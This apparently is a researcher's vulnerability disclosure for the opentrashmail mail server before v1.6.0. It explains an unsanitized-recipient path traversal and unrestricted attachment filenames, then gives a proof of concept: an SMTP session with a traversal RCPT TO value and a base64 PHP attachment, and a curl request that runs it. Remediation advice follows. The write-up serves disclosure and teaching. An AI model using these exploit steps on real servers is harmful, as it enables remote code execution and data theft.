The Problem
All versions before v1.6.0 of the opentrashmail mail server do not sanitize recipient email addresses when creating new mail storage directories and do not remove file extensions when storing attachments, which allows an unauthenticated attacker to upload arbitrary files and remotely execute malicious code on the host.
ARTICLE EDIT:
The vulnerability has been patched in v1.6.0! All hail the mighty advisories machine!
Identification
Here’s a snippet from the python mail server in v1.5.2. I’ve adjusted the formatting a bit so that it looks prettier here:
async def handle_DATA(self, server, session, envelope):
peer = session.peer
rcpts = []
for rcpt in envelope.rcpt_tos:
rcpts.append(rcpt)
# -- snip --
for em in rcpts: # follow the `em` variable here...
em = em.lower()
if not re.match(r"[^@\s]+@[^@\s]+\.[a-zA-Z0-9]+$", em): # this regex is WAY too permissive
logger.exception('Invalid recipient: %s' % em)
continue
domain = em.split('@')[1] # "...@thistext" must be within a configured domain...
found = False
for x in DOMAINS:
if "*" in x and domain.endswith(x.replace('*', '')):
found = True
elif domain == x:
found = True
# ... given that DISCARD_UNKNOWN is also configured
if(DISCARD_UNKNOWN and found==False):
logger.info('Discarding email for unknown domain: %s' % domain)
continue
if not os.path.exists("../data/"+em): # `em` was never further sanitized
os.mkdir( "../data/"+em, 0o755 )
# ...
At the very least, given the assumption that the aiosmtpd
Controller parent object isn’t implicitly filtering out any invalid characters, we know we can traverse filesystem paths here.
Briefly turn your attention to the attachment handling now:
for att in attachments:
if not os.path.exists("../data/"+em+"/attachments"):
os.mkdir( "../data/"+em+"/attachments", 0o755 )
attd = attachments[att]
file_id = attd[3]
file = open("../data/"+em+"/attachments/"+file_id, 'wb')
file.write(attd[1])
file.close()
A cobweb of non-expressive indices shows that whatever’s in this attachments
array could be juicy. And, indeed, from handleAttachment…
return (filename,part.get_payload(decode=True),cid,fid)
- filename: The attachment’s filename string – or untitled if not set.
- payload: The attachment’s raw contents.
- cid: Extracted directly from either the Content-ID attachment header or the X-Attachment-Id header as a fallback.
- fid: An MD5 hash of the filename, plus the filename directly.
fid = hashlib.md5(filename.encode('utf-8')).hexdigest()+filename
Lastly, note that handleAttachment is called as the incoming email’s parts are iterated, whenever:
- A MIME section’s Content-Type header is
text/plainand the filename is set, or - A MIME section’s Content-Type header is any other type, except for the
multipart/primary type or thetext/htmltype.
Hypothesis
Given:
- Emails are tentatively stored in a dynamic (i.e., recipient) folder under
../datarelative to the webroot, - I can control the recipient’s email string almost entirely,
- I can escape the
../datafolder with a maliciousRCPT TO:<../../etc/etc@domain.com>, and - I can control the stored filename under the
[EMAIL-DIR]/attachments/folder
I hypothesize that:
- I can upload a PHP script in a “plaintext” attachment, in an email recipient address containing a path to the webroot, and thus
- I can execute the stored PHP file, which will have a PHP suffix since I can control the name.
This is, of course, a hypothesis with many, many malicious alternatives – e.g., reading everyone’s emails, exporting configurations, reading host logs, etc.
Proof of Concept
First, run the default docker container for v1.5.2 and provide any valid domain to use:
~$ docker run -it -p 25:25 -p 80:80 -e DOMAINS="xmit.xyz" hascheksolutions/opentrashmail:1.5.2
-- snip --
Starting Open Trashmail
[+] Starting php
[+] Starting nginx
[+] Setting up config.ini
[+] Starting Mailserver
A quick SMTP session and a cURL
is all you need here. I wrote entered contents, except the pasted DATA contents, with a leading >>
to delineate my commands.
~$ nc localhost 25
220 2c4e2b301eae Python SMTP 1.4.6
>> EHLO xmit.xyz
250-2c4e2b301eae
250-SIZE 33554432
250-8BITMIME
250-SMTPUTF8
250 HELP
>> MAIL FROM:<someone@xmit.xyz>
250 OK
>> RCPT TO:<../web/an_email_addr@xmit.xyz>
250 OK
>> DATA
354 End data with <CR><LF>.<CR><LF>
From: 2d068d5c40f017f5.75e7fc0f0eb567e5@xmit.xyz
To: 887b7be6fd5dbaa4.3d828213ea0f04f2@xmit.xyz
Date: Fri, 25 Sep 2026 22:03:10 -0000
Subject: 65731041ed0cd2d46351edd3854d
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="88c995b0-455a344f9cb7"
--88c995b0-455a344f9cb7
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
e74965622b6c73
--88c995b0-455a344f9cb7
Content-Type: text/plain; charset="UTF-8"; name="dest_file.php"
Content-ID: <0cf61e0f36bb846612.8de98ca441@xmit.xyz>
Content-Disposition: attachment; filename="dest_file.php"
Content-Transfer-Encoding: base64
PD9waHAKCmRlZmluZSgnRFMnLCAnLycpOwpkZWZpbmUoJ1JPT1QnLCBkaXJuYW1lKF9fRklM
-- snip --
Y3dkKCkgLiAiLy4uLy4uLyRteV9kaXIiKSAuICIpIik7ICAgLy8gaGlkZSBldmlkZW5jZQoK
Pz4K
--88c995b0-455a344f9cb7--
.
250 OK
And then, after getting the MD5 hash of the dest_file.php
filename.
~$ curl http://localhost:80/an_email_addr@xmit.xyz/attachments/8b045f5da07fb68189fd2cfd86d944bcdest_file.php
<pre>array (
'DOMAINS' => 'xmit.xyz',
'URL' => 'https://localhost:80',
'PASSWORD' => '',
'ALLOWED_IPS' => '',
'MAILPORT' => '25',
'DISCARD_UNKNOWN' => '1',
'ATTACHMENTS_MAX_SIZE' => '0',
'MAILPORT_TLS' => '0',
'TLS_CERTIFICATE' => '',
'TLS_PRIVATE_KEY' => '0',
'DATEFORMAT' => 'D.M.YYYY HH:mm',
'DELETE_OLDER_THAN_DAYS' => '',
'WEBHOOK_URL' => '',
'ADMIN_ENABLED' => '',
'ADMIN_PASSWORD' => '',
'SHOW_ACCOUNT_LIST' => '',
'ADMIN' => '',
'SHOW_LOGS' => '',
)</pre>
Repeatable Exploitation
In researching this vulnerability, I’ve gotten the process down to a science.
~$ ./exploit.py xmit.xyz\;localhost ./sample_read_server_settings.php\;dest_file.php
Using payload path: ./sample_read_server_settings.php
Using dest_name: dest_file.php (MD5: 8b045f5da07fb68189fd2cfd86d944bc)
Using domain: xmit.xyz
Using smtp_ip (target host): localhost
Email going from '2d068d5c40f017f5.75e7fc0f0eb567e5@xmit.xyz' to '887b7be6fd5dbaa4.3d828213ea0f04f2@xmit.xyz'
Creating payload locally at /home/.../8b045f5da07fb68189fd2cfd86d944bc.eml
Converting email payload to CRLF.
Dispatching payload... Please hold.
+ EHLO
+ MAIL FROM
+ RCPT TO
+ DATA
+ END
Payload uploaded.
Access via web: /887b7be6fd5dbaa4.3d828213ea0f04f2@xmit.xyz/attachments/8b045f5da07fb68189fd2cfd86d944bcdest_file.php
Until a much later date than this is published, I will not release the exploit.py script for ethical reasons. Once I do, it will appear around here.
This is unfortunately very simple to exploit and, by necessity of knowing the vulnerabilities presented, you already have a blueprint.
Suggested Remediations
While I won’t proffer code changes here, fixing this issue should be rather straightforward:
- Strictly validate that recipient email addresses do not traverse paths.
- I think tightening the regular expression is the weakest way to do this on its own. Stronger would be to also resolve the final destination folder and ensure it actually does write under
data/[EMAIL-DIR]/.
- Do not let the attacker directly control the filename.
- A hash (indirect control) is fine, but I suspect the filename gets postfixed perhaps for the sake of preserving the extension. Find another way to store/reuse incoming attachment
Content-Typeinformation so a proper extension and MIME details might be given back to downloaders when the attachment is served.
Final Thoughts (My Micro Blog Post)
The vulnerability report and exploitation notes are finished here, so be on your merry way if you please.
This was simple and hopefully succinct enough. All in all, this is a pretty serious vulnerability. The repository has a suggested use for this project, among other things, as a kind of honeypot. In this case, though, I think the bear’s taking the honey with him.
I came across this project while searching for self-hosted tools to replace a commercial one I’m bound to, and I thought the initial review of this tool seemed promising. Alas, I recommend you avoid opentrashmail
– or at least avoid using it anywhere publicly accessible – in other words, beyond being a dev tool.
The code for this project is a bit of a mess. I mean no shade to the developer(s) though: I personally don’t have a project over like 10 stars on GitHub, so maybe I don’t know what I’m on about. But as a proficient PHP developer myself, I get it.
It’s like hammering out your best whimsical project that does all kinds of neat magic to get the job done. Pretty cool to you, right? Just not to the downstream developer, who now faces the decision to wrap his mind around it from the outside or to find an alternative altogether. And a few years later, you’re still in the same place, having to tape things together when you add new features. God forbid you ever abandon it.
Anyway, this is my outsider’s opinion. And I’m really not in the business of dealing with the “not my project” drama that too often comes with this territory. If I smell any hint of that pride, I’m out on the conversation. That’s why I’ll post things here, send a notification when there’s a CVE identifier to use, and move on. I’m simply executing my calling and doing my job; it’s nothing personal.
This “reflection”, “final thoughts”, or “lessons learned” section will make an appearance in future articles. Expect small updates like these here and there after the meat of these reports.
Ⲇⲟⲝⲁ ⲥⲓ Ⲕⲩⲣⲓⲉ,
~ ZP